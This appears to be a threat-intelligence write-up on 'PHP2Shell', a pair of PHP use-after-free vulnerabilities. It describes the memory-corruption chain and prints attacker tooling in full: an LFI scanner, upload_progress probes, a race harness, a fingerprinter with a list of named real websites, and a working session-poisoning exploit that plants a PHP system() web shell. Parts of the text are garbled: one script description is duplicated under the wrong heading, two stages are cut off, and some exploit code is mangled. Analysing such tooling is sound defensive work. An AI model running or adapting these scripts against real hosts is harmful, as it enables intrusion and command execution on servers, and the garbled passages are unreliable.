
Overview
PHP2Shell is the nickname for two critical vulnerabilities: CVE-2026-109618 and CVE-2026-109619. Both are use-after-free (UAF) bugs in the PHP engine, rated CVSS 9.2 (Critical). They live inside session.upload_progress, a default-on PHP feature that tracks file uploads. Because this feature processes multipart requests before your index.php or WordPress plugin loads, the attack surface is the engine itself, not your application. The fixed versions are 8.5.12, 8.4.27, 8.3.36, and 8.2.35, released on October 21, 2026.
Exploitation Mechanics
The vulnerability lives in PHP's internal request handling, specifically in how the multipart/form-data upload parser interacts with the session.upload_progress feature.
When an attacker sends a multipart request containing a large file upload and the PHP_SESSION_UPLOAD_PROGRESS field, PHP begins processing the upload. During this process, PHP allocates memory to track the upload's progress. If the attacker deliberately sets the Content-Length or sends a body that exceeds PHP's memory_limit (default 8 MB, as noted in the exploit), PHP hits an OOM condition.
The critical flaw: when PHP runs out of memory during this specific early request phase, it executes a "bailout" (a forced exit from the request). However, the bailout handler does not properly clean up the session.upload_progress state. It leaves a pointer (a memory address) pointing to a memory region that has already been freed or partially corrupted. This dangling pointer is the seed for the entire exploit.
The Two-Pointer Problem
While tracking a multipart upload, PHP caches two internal pointers. The OOM bailout disrupts the normal cleanup sequence. As a result, the freed hash table (the data structure that held the upload progress information) is not destroyed in a safe order. The dangling pointer remains accessible in the request's session state, and the next time PHP tries to use it, typically during request teardown it will dereference freed memory. This is the core of the use-after-free.
Exploit Chain Overview
The exploit is designed to be reliable despite ASLR (Address Space Layout Randomization), a security feature that randomizes memory addresses so that attackers cannot simply hardcode them. To defeat ASLR, the exploit uses two information leaks before it executes the final payload.
Stage 0: Resetting the Heap with a Fresh Worker
max_input_vars limit (set to 1000 in the target config). By sending a multipart request with 1001+ fields, the request is aborted, but not before the worker process is terminated. Apache's prefork module then forks a new, clean worker. This ensures that the memory corruption from one stage does not interfere with the next stage, and it guarantees a clean memory layout for each attempt.Stage 1: Reading the Chunk Base Through Set-Cookie
Stage 2: Recovering libphp from a Destructor Pointer
Goal: Leak the base address of libphp.so, the shared library that contains PHP's core functions. This is necessary because the final stage needs the absolute address of zif_system (the internal function that executes shell commands).
Method: The exploit uses the same dangling pointer to trigger another out-of-bounds read, but this time it crafts the request so that the leaked memory contains a pointer to ZVAL_PTR_DTOR, an internal function used for destroying PHP variables. The leak is validated by checking that the low 12 bits (the page offset) match the known offset of ZVAL_PTR_DTOR within libphp.so. The libphp base is then calculated by subtracting the known offset from the leaked pointer.
With the heap base and the libphp base known, the attacker can calculate the exact addresses of:
htdata(the live string that will be used as a fake HashTable)zif_system(the function that will execute the command
Goal: Overwrite a destructor pointer so that when PHP destroys a variable, it calls zif_system instead of the normal destructor, executing the attacker's command.
Method: PHP's HashTable structure has a member called pDestructor, a function pointer that is called when the table is destroyed. The exploit crafts a fake HashTable in memory. It places a fake zend_execute_data structure and a fake zend_string (which contains the command, e.g., id>/out/p1) inside the fake HashTable. It then sets the pDestructor field of the fake HashTable to point to zif_system.
This fake structure is written into memory using the same dangling pointer. The exploit then triggers the destruction of this fake HashTable. PHP calls pDestructor, which is now zif_system. The argument passed to zif_system is the command from the fake zend_string. The command executes with the privileges of the web server user (typically www-data).

Exposure and Affected Builds
Affected ProductsThe vulnerability is in PHP core, so it affects every deployment that serves web requests. This includes:
- Apache with mod_php
- PHP-FPM
php-cgi- FrankenPHP
- LiteSpeed
- PHP 8.4: versions before 8.4.27
- PHP 8.3: versions before 8.3.36
- PHP 8.2: versions before 8.2.35
- PHP 8.5: versions before 8.5.12
- Older branches (8.1 and below, 7.x, 5.x) have no official fixes; source backports exist for some.
Adversary Tooling Analysis
#!/usr/bin/env python3
"""r935: 批量 LFI 发现(为 CVE-2026-109618 提供入口)
用法: r935_lfi_find.py targets.json out.json [threads]
判定: /etc/passwd 明文 或 php://filter base64 解码后含 root❌0:0
"""
import json
import sys
import base64
import re
import requests
from concurrent.futures import ThreadPoolExecutor
requests.packages.urllib3.disable_warnings()
PARAMS = ["file", "page", "path", "include", "inc", "lang",
"template", "view", "doc", "load", "mod", "url",
"dir", "cat", "f", "name"]
PATHS = ["/", "/index.php", "/index.php?x=1"]
PAYLOADS = [
("plain", "../../../../../../../../etc/passwd"),
("filter", "php://filter/convert.base64-encode/resource=/etc/passwd"),
]
UA = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"}
def mark(body):
if "root❌0:0" in body:
return "plain"
for m in re.findall(r"[A-Za-z0-9+/=]{60,}", body or ""):
try:
d = base64.b64decode(m + "==", validate=False).decode("utf-8", "ignore")
except Exception:
continue
if "root❌0:0" in d:
return "base64"
return None
def check(host, port):
scheme = "https" if port in (443, 8443) else "http"
base = "%s://%s:%d" % (scheme, host, port)
out = []
try:
r = requests.get(base + "/", timeout=8, verify=False, headers=UA, allow_redirects=True)
txt = (r.text or "")[:200000]
hdr = str(r.headers)
if not ("php" in hdr.lower() or ".php" in txt.lower() or "wp-content" in txt):
return out
except Exception:
try:
scheme = "http" if scheme == "https" else "https"
base = "%s://%s:%d" % (scheme, host, port)
requests.get(base + "/", timeout=6, verify=False, headers=UA)
except Exception:
return out
for path in PATHS:
for param in PARAMS:
for kind, pay in PAYLOADS:
url = "%s%s%s%s=%s" % (base, path, "&" if "?" in path else "?", param, pay)
try:
r = requests.get(url, timeout=7, verify=False, headers=UA,
allow_redirects=False)
if r.status_code >= 500:
continue
hit = mark(r.text or "")
if hit:
out.append({"ip": host, "port": port, "path": path,
"param": param, "kind": hit, "via": kind})
return out
except Exception:
continue
def main():
src, dst = sys.argv[1], sys.argv[2]
th = int(sys.argv[3]) if len(sys.argv) > 3 else 120
tg = json.load(open(src))
hits = []
done = [0]
def work(t):
r = check(t[0], int(t[1]))
done[0] += 1
if done[0] % 100 == 0:
print("[*] 已扫 %d/%d LFI %d" % (done[0], len(tg), len(hits)), flush=True)
return r
with ThreadPoolExecutor(max_workers=th) as ex:
for r in ex.map(work, tg):
if r:
hits.extend(r)
print("[+] LFI %s:%s %s?%s (%s)" % (r[0]["ip"], r[0]["port"],
r[0]["path"], r[0]["param"], r[0]["kind"]), flush=True)
json.dump(hits, open(dst, "w"))
print("[=] 完成 %d 目标,LFI 命中 %d" % (len(tg), len(hits)))
if __name__ == "__main__":
main()The r935_lfi_find.py script is a multithreaded reconnaissance tool designed to discover Local File Inclusion (LFI) vulnerabilities, which serve as the necessary entry point for the PHP2Shell exploit. It operates by first sending a baseline request to the target's root path to verify if the server is running PHP (checking for PHP headers, .php extensions, or wp-content directories). If verified, the script systematically attacks the application using predefined lists: PATHS (common endpoints like /index.php), PARAMS (15 common parameter names like file, page, and include), and two PAYLOADS—a standard directory traversal (../../../../etc/passwd) and a PHP stream wrapper filter (php://filter/convert.base64-encode).
The core validation occurs in the mark(body) function, which examines the HTTP response for the specific string root❌0:0 to confirm a successful plaintext read; if that fails, it uses a regular expression to find long base64 strings, decodes them, and checks for the same string to catch filtered reads. The check() function manages the per-host logic, including automatic HTTP/HTTPS scheme fallback and ignoring server errors (>= 500). Finally, the main() function utilizes a ThreadPoolExecutor to process large target lists concurrently, outputting any confirmed LFI hits into a JSON file for the subsequent exploitation phase.
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
"""
PHP2Shell CVE-2026-109619 upload_progress 触发面探测
====================================================
探测目标: 确认目标是否启用 session.upload_progress (默认 enabled=1),
即 multipart POST 带 PHPSESSID(fixation) + PHP_SESSION_UPLOAD_PROGRESS
时, PHP 是否在 rfc1867 处理期间初始化 session (响应 Set-Cookie)。
信号:
- multipart POST 后响应带 Set-Cookie: PHPSESSID=... => session 被 rfc1867 触发
- 对比 GET 基线(通常无 Set-Cookie 或不同)
=> 有 Set-Cookie 且 status 正常 => upload_progress 启用 => 漏洞面存在
用法: probe_rfc1867.py <清单> <并发> <输出>
清单格式: 每行 "ip:port|url"
"""
import socket, ssl, sys, random, threading, Queue, time
BIGSIZE = 2 * 1024 * 1024 # 2MB 文件体, 确保触发 progress update
SID = 'ENIfix8f3d1c2b9a'
def build_multipart(boundary):
body = '--%s\r\n' % boundary
body += 'Content-Disposition: form-data; name="PHPSESSID"\r\n\r\n'
body += SID + '\r\n'
body += '--%s\r\n' % boundary
body += 'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\n'
body += 'ENIkey1234\r\n'
body += '--%s\r\n' % boundary
body += 'Content-Disposition: form-data; name="file"; filename="x.bin"\r\n'
body += 'Content-Type: application/octet-stream\r\n\r\n'
body += 'A' * BIGSIZE + '\r\n'
body += '--%s--\r\n' % boundary
return body
def parse_url(u):
if u.startswith('https://'):
rest, use_ssl = u[8:], True
else:
rest, use_ssl = (u[7:] if u.startswith('http://') else u), False
rest = rest.rstrip('/')
hostport = rest.split('/')[0]
if ':' in hostport:
host, port = hostport.split(':', 1)
port = int(port)
else:
host, port = hostport, (443 if use_ssl else 80)
return host, port, use_ssl
def raw_request(host, port, use_ssl, method, path, body=None, hdrs=None, timeout=15):
try:
s = socket.socket()
s.settimeout(timeout)
if use_ssl:
ctx = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
s = ctx.wrap_socket(s, server_hostname=host)
s.connect((host, port))
req = '%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)\r\n' % (method, path, host)
if hdrs:
for k, v in hdrs.items():
req += '%s: %s\r\n' % (k, v)
if body is not None:
req += 'Content-Length: %d\r\n' % len(body)
req += 'Connection: close\r\n\r\n'
s.sendall(req.encode('latin-1'))
if body is not None:
s.sendall(body.encode('latin-1'))
resp = b''
while True:
try:
c = s.recv(4096)
if not c:
break
resp += c
except (socket.timeout, socket.error):
break
s.close()
head = resp.split(b'\r\n\r\n')[0] if b'\r\n\r\n' in resp else resp
lines = head.split(b'\r\n')
code = 0
if lines and lines[0].startswith(b'HTTP'):
try:
code = int(lines[0].split(b' ')[1])
except:
code = 0
setcookie = []
for ln in lines:
if ln.lower().startswith(b'set-cookie'):
setcookie.append(ln.decode('latin-1', 'ignore'))
return code, setcookie
except Exception as e:
return 0, []
def probe_one(host, port, use_ssl):
# 基线 GET
code_a, ck_a = raw_request(host, port, use_ssl, 'GET', '/')
# upload_progress multipart POST
boundary = '----ENI%d' % random.randint(100000, 999999)
body = build_multipart(boundary)
hdrs = {'Content-Type': 'multipart/form-data; boundary=%s' % boundary}
code_b, ck_b = raw_request(host, port, use_ssl, 'POST', '/', body=body, hdrs=hdrs)
has_sess = 'S' if ck_b else '-'
# 判定
verdict = 'UP-ENABLED' if ck_b else 'up-off/no-trigger'
if code_b == 0:
verdict = 'CONN-FAIL'
return code_a, code_b, has_sess, verdict, (ck_b[0][:60] if ck_b else '')
def worker(q, outfile, lock):
while True:
try:
line = q.get_nowait()
except Queue.Empty:
return
line = line.strip()
if not line:
q.task_done()
continue
ip_port = line.split('|')[0]
url = line.split('|')[1] if '|' in line else 'http://%s/' % ip_port
host, port, use_ssl = parse_url(url)
ca, cb, sess, verdict, ck = probe_one(host, port, use_ssl)
result = 'PHP2S|%s|%s|get=%d|post=%d|sess=%s|%s|%s' % (ip_port, host, ca, cb, sess, verdict, ck)
with lock:
with open(outfile, 'a') as f:
f.write(result + '\n')
print(result)
q.task_done()
def main():
if len(sys.argv) < 4:
print('用法: %s <清单> <并发> <输出>' % sys.argv[0])
sys.exit(1)
lst, conc, outfile = sys.argv[1], int(sys.argv[2]), sys.argv[3]
q = Queue.Queue()
with open(lst) as f:
for line in f:
q.put(line)
total = q.qsize()
lock = threading.Lock()
threads = []
for i in range(conc):
t = threading.Thread(target=worker, args=(q, outfile, lock))
t.daemon = True
t.start()
threads.append(t)
q.join()
for t in threads:
t.join()
print('DONE total=%d' % total)
if __name__ == '__main__':
main()The probe_rfc1867.py script is a specialized, multithreaded reconnaissance tool written in Python 2 that determines if a target web server is vulnerable to the trigger mechanism of CVE-2026-109619. It does this by simulating a specific type of file upload. The script uses the build_multipart function to construct a raw HTTP POST request containing two critical fields: PHPSESSID (a custom session ID hardcoded as SID to achieve session fixation) and PHP_SESSION_UPLOAD_PROGRESS (the keyword that activates PHP's upload tracking). It attaches a massive dummy file (controlled by the BIGSIZE variable, set to 2MB) to force the server to process the upload. Crucially, the script uses a custom raw_request function—operating directly over Python sockets rather than a standard HTTP library—to ensure absolute control over the bytes sent and the headers received.
If the server processes this upload and responds with a Set-Cookie: PHPSESSID=... header, the probe_one function flags the target as UP-ENABLED. This is the "aha" moment: it proves the server's underlying rfc1867 multipart parser is actively initializing sessions mid-upload, meaning the session.upload_progress feature is turned on and the target is ripe for the full PHP2Shell memory corruption exploit. The main function uses a Queue and multiple threads (the worker function) to process massive lists of targets efficiently, writing the results to a log file so the attacker can instantly filter out dead hosts (CONN-FAIL) and patched servers (up-off/no-trigger) from their list of exploitable victims.
race.py: Racing Upload Parsing Against Session Deletion

#!/usr/bin/env python3
"""php2shell race harness — multipart upload + concurrent disturbances.
Disturbance modes (composable; aimed precisely once the official diff is out):
destroy GET ?a=destroy in a loop while the upload parses
regenerate GET ?a=regenerate in a loop (deletes the old session store)
gc GET ?a=gc in a loop
double second upload on the same session (concurrent write)
abort client disconnects mid-request (partial body)
The race window is the rfc1867 parse loop (php-fpm buffers the request body),
so the harness sends the full body at once and stretches the parse with --parts
small form fields (bodies stay under post_max_size, 8M by default).
Local target only (127.0.0.1).
"""
import argparse
import http.client
import sys
import threading
import time
BOUNDARY = "----php2shellboundary"
def build_body(key, total_kb, parts):
head = (
f"--{BOUNDARY}\r\n"
f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\n'
f"{key}\r\n"
).encode()
filler = b"".join(
(
f"--{BOUNDARY}\r\n"
f'Content-Disposition: form-data; name="p{i}"\r\n\r\n'
).encode()
+ b"B" * 512 + b"\r\n"
for i in range(parts)
)
file_head = (
f"--{BOUNDARY}\r\n"
f'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n'
f"Content-Type: application/octet-stream\r\n\r\n"
).encode()
tail = f"\r\n--{BOUNDARY}--\r\n".encode()
return head + filler + file_head + b"A" * (total_kb * 1024) + tail
def slow_upload(host, port, sess_id, key, total_kb, parts, abort_at, log, path):
body = build_body(key, total_kb, parts)
try:
c = http.client.HTTPConnection(host, port, timeout=30)
if abort_at:
limit = int(len(body) * abort_at)
c.request("POST", path, body=body[:limit],
headers={"Cookie": f"PHPSESSID={sess_id}",
"Content-Type": f"multipart/form-data; boundary={BOUNDARY}",
"Content-Length": str(len(body))})
c.close()
log(f"[upload] aborted after {limit // 1024} KB of {len(body) // 1024} KB")
return "aborted"
c.request("POST", path, body=body,
headers={"Cookie": f"PHPSESSID={sess_id}",
"Content-Type": f"multipart/form-data; boundary={BOUNDARY}"})
r = c.getresponse()
r.read()
c.close()
log(f"[upload] done: HTTP {r.status}")
return "done"
except Exception as e:
log(f"[upload] ERROR: {e}")
return "error"
def double_upload(host, port, sess_id, key, total_kb, parts, log, path):
time.sleep(0.05)
return slow_upload(host, port, sess_id, key + "-2", total_kb // 2, parts,
0, log, path)
def racer(host, port, sess_id, action, interval, stop, log):
n = 0
for _ in range(50000): # hard cap: never outlive the round
if stop.is_set():
break
try:
c = http.client.HTTPConnection(host, port, timeout=5)
c.request("GET", f"/index.php?a={action}",
headers={"Cookie": f"PHPSESSID={sess_id}"})
r = c.getresponse()
r.read()
c.close()
n += 1
except Exception as e:
log(f"[racer:{action}] ERROR: {e}")
return
time.sleep(interval)
log(f"[racer:{action}] {n} requests sent")
def probe(host, port):
try:
c = http.client.HTTPConnection(host, port, timeout=5)
c.request("GET", "/")
r = c.getresponse()
r.read()
c.close()
return True
except Exception:
return False
def run_round(host, port, sess_id, key, args, log):
stop = threading.Event()
uploads = []
racers = []
if "abort" in args.modes:
slow_upload(host, port, sess_id, key, args.total_kb,
args.parts, args.abort_at, log, args.path)
return
uploads.append(threading.Thread(target=slow_upload,
args=(host, port, sess_id, key, args.total_kb,
args.parts, 0, log, args.path)))
uploads[-1].start()
if "double" in args.modes:
uploads.append(threading.Thread(target=double_upload,
args=(host, port, sess_id, key, args.total_kb,
args.parts, log, args.path)))
uploads[-1].start()
for m in ("destroy", "regenerate", "gc"):
if m in args.modes:
racers.append(threading.Thread(target=racer,
args=(host, port, sess_id, m,
args.racer_interval, stop, log)))
racers[-1].start()
for t in uploads: # wait for the upload(s) only
t.join()
stop.set() # racers may stop now
for t in racers:
t.join()
def main():
p = argparse.ArgumentParser()
p.add_argument("--host", default="127.0.0.1")
p.add_argument("--port", type=int, default=8899)
p.add_argument("--path", default="/index.php",
help="upload target path (e.g. /wp-login.php for the WordPress demo)")
p.add_argument("--modes", default="destroy",
help="comma-separated modes: destroy,regenerate,gc,double,abort")
p.add_argument("--total-kb", type=int, default=3072)
p.add_argument("--parts", type=int, default=0,
help="number of small multipart fields (inflates the parse window; "
"keep total body under post_max_size, 8M by default)")
p.add_argument("--racer-interval", type=float, default=0.001)
p.add_argument("--rounds", type=int, default=20)
p.add_argument("--abort-at", type=float, default=0.5,
help="fraction of the body at which the abort mode cuts")
args = p.parse_args()
modes = [m.strip() for m in args.modes.split(",") if m.strip()]
unknown = set(modes) - {"destroy", "regenerate", "gc", "double", "abort"}
if unknown:
sys.exit(f"unknown modes: {unknown}")
args.modes = modes
t0 = time.strftime("%H:%M:%S")
print(f"=== php2shell harness @ {t0} — target {args.host}:{args.port} modes={modes} "
f"rounds={args.rounds} ===", flush=True)
failures = 0
for r in range(args.rounds):
if not probe(args.host, args.port):
print(f"[round {r}] target already down — stop")
failures += 1
break
sess_id = f"php2shell{r:023d}"
key = f"race{r}"
run_round(args.host, args.port, sess_id, key, args,
lambda m, r=r: print(f"[round {r}] {m}", flush=True))
if not probe(args.host, args.port):
failures += 1
print(f"[round {r}] !!! TARGET STOPPED RESPONDING after mode={modes} !!!",
flush=True)
break
time.sleep(0.05)
print(f"=== done — rounds={args.rounds} failures={failures} ===", flush=True)
sys.exit(1 if failures else 0)
if __name__ == "__main__":
main()The race.py script is a specialized local testing harness designed to weaponize a race condition within the PHP rfc1867 multipart parser, targeting the exact memory corruption window required for the PHP2Shell exploit. It operates by using build_body and slow_upload to send a massive multipart POST request containing PHP_SESSION_UPLOAD_PROGRESS. To stretch the server's processing time and maximize the race window, it uses the --parts argument to inject hundreds of small form fields, artificially inflating the time PHP spends parsing. Concurrently, the run_round function spawns multiple racer threads that rapidly send GET requests containing session-wrecking actions like destroy, regenerate, or gc (garbage collection). The script also supports a double mode for concurrent uploads and an abort mode, which abruptly cuts the connection mid-body based on the --abort_at percentage.
The goal of this chaotic orchestration is to force a "Use-After-Free" collision: the attacker wants the upload parsing (the read) to overlap precisely with a session destruction event (the delete). If the timing aligns, the server is left holding a dangling pointer, which is the exact prerequisite for triggering the OOB reads and memory forgery required by the main exploit. The script utilizes a probe function between rounds to check if the target has crashed (a common occurrence when trying to hit these microsecond timing windows), allowing the attacker to iteratively refine their concurrency settings until the server is successfully destabilized.
php2shell_fp.py: Fingerprinting Through a Proxy Pool

#!/usr/bin/env python3
"""Fingerprint PHP targets for php2shell exploitability through proxy farm."""
import sys, json, re, random, time
import urllib.request, urllib.parse, ssl
POOL = "http://206.188.197.105:8899/proxies.php?key=<redacted>"
CTX = ssl.create_default_context()
CTX.check_hostname = False
CTX.verify_mode = ssl.CERT_NONE
TARGETS = [
"the-trust.org.uk",
"kpt.worldchains.com",
"www.firstkick.com",
"takako-classical-ballet.com",
"helpagecanada.ca",
"wordpress.monmouth.edu",
"trevea.fi",
"mm.ecologycenter.org",
"bloodmoonstudios.net",
"www.edenestateagents.co.uk",
"visit.zywiec.pl",
"banonzo.com",
"gabitroester.com",
"grupatrakcja.com",
"www.reseau-gds.fr",
"www.e-nai.cn",
"locasystem.com",
"leaddesk.com",
"v.khadonov.ru",
"mxmx.netconception.com",
]
def get_proxies():
try:
raw = urllib.request.urlopen(POOL, timeout=15).read().decode()
except Exception as e:
print(f"[!] pool fetch failed: {e}", file=sys.stderr)
return []
out = []
for line in raw.splitlines():
line = line.strip()
if not line:
continue
p = line.split(":")
if len(p) == 4:
out.append(f"http://{p[2]}:{p[3]}@{p[0]}:{p[1]}")
return out
def fetch(url, proxy=None, timeout=12):
handlers = []
if proxy:
handlers.append(urllib.request.ProxyHandler({"http": proxy, "https": proxy}))
handlers.append(urllib.request.HTTPSHandler(context=CTX))
op = urllib.request.build_opener(*handlers)
op.addheaders = [
("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"),
("Accept", "*/*"),
]
try:
r = op.open(url, timeout=timeout)
return r.status, dict(r.headers), r.read(65536)
except urllib.error.HTTPError as e:
return e.code, dict(e.headers), e.read(65536) if e.fp else b""
except Exception as e:
return 0, {}, str(e).encode()
def fingerprint(host, proxy):
result = {"host": host, "proxy": proxy.split("@")[-1] if proxy else "direct"}
for scheme in ("https", "http"):
url = f"{scheme}://{host}/"
st, hdr, body = fetch(url, proxy)
if st == 0:
continue
result["scheme"] = scheme
result["status"] = st
server = hdr.get("Server", hdr.get("server", ""))
xpb = hdr.get("X-Powered-By", hdr.get("x-powered-by", ""))
result["server"] = server
result["x_powered_by"] = xpb
# PHP version from header
m = re.search(r"PHP/([\d.]+)", xpb + " " + server)
result["php"] = m.group(1) if m else None
# SAPI heuristic
sapi = "unknown"
if re.search(r"PHP/", xpb) and re.search(r"Apache", server, re.I):
sapi = "mod_php?" # X-Powered-By on same response as Apache often = mod_php
elif re.search(r"nginx|openresty|litespeed|cloudflare|caddy", server, re.I):
sapi = "fpm/proxy?"
elif re.search(r"Apache", server, re.I) and not xpb:
sapi = "apache-no-xpb"
result["sapi_guess"] = sapi
# cookies / session
setc = hdr.get("Set-Cookie", hdr.get("set-cookie", ""))
result["set_cookie"] = setc[:120]
# body hints
text = body.decode("latin-1", "replace")[:4000]
result["title"] = (re.search(r"<title>([^<]+)", text, re.I) or type("", (), {"group": lambda s, i: ""})()).group(1)[:80] if re.search(r"<title>", text, re.I) else ""
result["body_len"] = len(body)
result["powered_html"] = bool(re.search(r"PHP/[\d.]+", text))
break
return result
def probe_upload_progress(host, proxy, scheme="https"):
"""Test session.upload_progress: send multipart with PHP_SESSION_UPLOAD_PROGRESS."""
boundary = "FPRINT7x"
sid = "fprint" + "".join(random.choices("0123456789abcdef", k=20))
body = (
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="PHPSESSID"\r\n\r\n{sid}\r\n'
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nx\r\n'
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="f"; filename="t.txt"\r\n\r\nZ\r\n'
f"--{boundary}--\r\n"
).encode()
req = urllib.request.Request(
f"{scheme}://{host}/index.php",
data=body,
headers={
"Content-Type": f"multipart/form-data; boundary={boundary}",
"Cookie": f"PHPSESSID={sid}",
},
method="POST",
)
handlers = []
if proxy:
handlers.append(urllib.request.ProxyHandler({"http": proxy, "https": proxy}))
handlers.append(urllib.request.HTTPSHandler(context=CTX))
op = urllib.request.build_opener(*handlers)
try:
r = op.open(req, timeout=12)
st, hdr, resp = r.status, dict(r.headers), r.read(8192)
except urllib.error.HTTPError as e:
st, hdr, resp = e.code, dict(e.headers), b""
except Exception as e:
return {"up_status": 0, "up_err": str(e)[:80]}
setc = hdr.get("Set-Cookie", hdr.get("set-cookie", ""))
return {
"up_status": st,
"up_set_cookie": setc[:150],
"up_sid_echo": sid in setc,
}
def main():
proxies = get_proxies()
print(f"[*] proxies loaded: {len(proxies)}")
if not proxies:
sys.exit(1)
results = []
for i, host in enumerate(TARGETS):
proxy = proxies[i % len(proxies)]
print(f"\n[{i+1}/{len(TARGETS)}] {host} via {proxy.split('@')[-1]}")
fp = fingerprint(host, proxy)
for k, v in fp.items():
if k not in ("proxy",):
print(f" {k}: {v}")
# upload_progress probe (only if we got a response)
if fp.get("status"):
scheme = fp.get("scheme", "https")
up = probe_upload_progress(host, proxy, scheme)
fp.update(up)
print(f" up_status: {up.get('up_status')} sid_echo: {up.get('up_sid_echo')} set_cookie: {up.get('up_set_cookie','')[:80]}")
results.append(fp)
time.sleep(0.4)
with open("/root/php2shell_fp.json", "w") as f:
json.dump(results, f, indent=1)
print("\n[+] saved /root/php2shell_fp.json")
if __name__ == "__main__":
main()The probe_rfc1867.py script is a specialized, multithreaded reconnaissance tool written in Python 2 that determines if a target web server is vulnerable to the trigger mechanism of CVE-2026-109619. It does this by simulating a specific type of file upload. The script uses the build_multipart function to construct a raw HTTP POST request containing two critical fields: PHPSESSID (a custom session ID hardcoded as SID to achieve session fixation) and PHP_SESSION_UPLOAD_PROGRESS (the keyword that activates PHP's upload tracking). It attaches a massive dummy file (controlled by the BIGSIZE variable, set to 2MB) to force the server to process the upload. Crucially, the script uses a custom raw_request function—operating directly over Python sockets rather than a standard HTTP library—to ensure absolute control over the bytes sent and the headers received.
If the server processes this upload and responds with a Set-Cookie: PHPSESSID=... header, the probe_one function flags the target as UP-ENABLED. This is the "aha" moment: it proves the server's underlying rfc1867 multipart parser is actively initializing sessions mid-upload, meaning the session.upload_progress feature is turned on and the target is ripe for the full PHP2Shell memory corruption exploit. The main function uses a Queue and multiple threads (the worker function) to process massive lists of targets efficiently, writing the results to a log file so the attacker can instantly filter out dead hosts (CONN-FAIL) and patched servers (up-off/no-trigger) from their list of exploitable victims.
import socket,ssl,uuid,sys,time,threading,requests,urllib3
urllib3.disable_warnings(); UA='Mozilla/5.0 Chrome/124'
host=sys.argv[1]; port=int(sys.argv[2]); tls=sys.argv[3]=='1'; cmd=sys.argv[4] if len(sys.argv)>4 else 'id'
sid='ps'+uuid.uuid4().hex[:24]; bd='----ps'+uuid.uuid4().hex
code="<?php echo 'PSMARK'; system($_GET['c']); echo 'PSEND';?>"
head=(f'--{bd}\r\nContent-Disposition: form-data; name="PHPSESSID"\r\n\r\n{sid}\r\n'
f'--{bd}\r\nContent-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nzz\r\n'
f'--{bd}\r\nContent-Disposition: form-data; name="f"; filename="{code}"\r\nContent-Type: application/octet-stream\r\n\r\n').encode('latin-1')
size=210241024; tail=f'\r\n--{bd}--\r\n'.encode()
req=(f'POST / HTTP/1.1\r\nHost: {host}\r\nContent-Type: multipart/form-data; boundary={bd}\r\nContent-Length: {len(head)+size+len(tail)}\r\nCookie: PHPSESSID={sid}\r\nConnection: close\r\n\r\n').encode()
s=socket.create_connection((host,port),timeout=10)
if tls: s=ssl._create_unverified_context().wrap_socket(s,serverhostname=host)
s.sendall(req+head+b'A'(size//4)); time.sleep(8)
sch='https' if tls else 'http'
p='../'6+'var/lib/php/sessions/sess'+sid
u=f'{sch}://{host}:{port}/?kubio-site-edit-iframe-preview=1&kubio-site-edit-iframe-classic-template='+requests.utils.quote(p,safe='')+'&c='+requests.utils.quote(cmd)
try:
y=requests.get(u,headers={'User-Agent':UA},timeout=15,verify=False,allow_redirects=False)
print('status',y.status_code,'len',len(y.text))
if 'PSMARK' in y.text:
print('RCE OK')
print(y.text.split('PSMARK',1)[1].split('PSEND',1)[0].strip()[:500])
else:
print(y.text[:300])
except Exception as e: print('ERR',e)
s.close()
The rce2.py script is a full-chain exploit that leverages a classic "session poisoning" technique to achieve remote code execution, specifically targeting an LFI (Local File Inclusion) vulnerability in the WordPress Kubio plugin. The script begins by generating a unique PHP session identifier (sid) and defining a malicious PHP web shell payload (code) that executes system commands via the c URL parameter. It then opens a raw socket connection and sends a partial multipart POST request, embedding the PHP code inside the filename field of the header (head). By sending a massive, truncated dummy payload (b'A'*(size//4)) and pausing execution with time.sleep(8), the script forces the PHP server to write the attacker-controlled filename (the payload) into a local session file on the server's disk (e.g., /var/lib/php/sessions/sess_<sid>) before the connection closes.
In the second phase, the script triggers the vulnerability by exploiting a path traversal string (p='../'*6+'var/lib/php/sessions/sess'+sid) to navigate from the web root directly to the poisoned session file. It uses the requests library to send a GET request targeting the vulnerable kubio-site-edit-iframe-classic-template parameter, instructing the server to include and execute the session file as PHP code. If successful, the script parses the response between the unique PSMARK and PSEND strings to display the output of the injected command, confirming full compromise of the web server.
Threat Landscape and Telemetry



This telemetry capture from a private research honeynet reveals an active exploitation attempt originating from source IP 85.11.163.243. The request observed: POST /lib/phpunit/phpunit/Util/PHP/eval-stdin.php utilized the distinct User-Agent string: 'php2shell-109618' alongside a massive multipart payload containing PHP_SESSION_UPLOAD_PROGRESS to trigger the memory corruption. Observed techniques align with MITRE ATT&CK T1595 (Active Scanning), T1046 (Network Service Discovery), T1083 (File and Directory Discovery), and T1190 (Exploit Public-Facing Application), confirming the deployment of automated exploit tools targeting this specific vulnerability.


Active Malware: Keitaro. The correlation of this vulnerable PHP service with a known malware traffic distribution system demonstrates that threat actors are not only exploiting PHP2Shell to compromise targets, but are also utilizing vulnerable PHP infrastructure to host their command-and-control environments.SELECT
timestamp,
ip,
port,
protocol,
service,
product,
version,
cpes,
state,
reason
FROM
ip.events.protocol.nmap
WHERE
timestamp >= '2026-09-23'
AND service LIKE '%http%'
AND product LIKE '%PHP%'
AND version NOT IN('8.5.12', '8.4.27', '8.3.36', '8.2.35')
ORDER BY
timestamp DESC
LIMIT
1000

SELECT ip, port, COUNT(*) AS event_count, MAX(timestamp) AS last_seen FROM ip.events.http.1day WHERE timestamp >= '2026-10-23' AND ( ip = '135.181.132.203' OR ip = '195.245.112.63' OR ip = '103.225.11.209' OR ip = '45.12.18.195' OR ip = '37.230.115.207' OR ip = '194.60.87.166' ) GROUP BY ip, port ORDER BY last_seen DESC LIMIT 1000





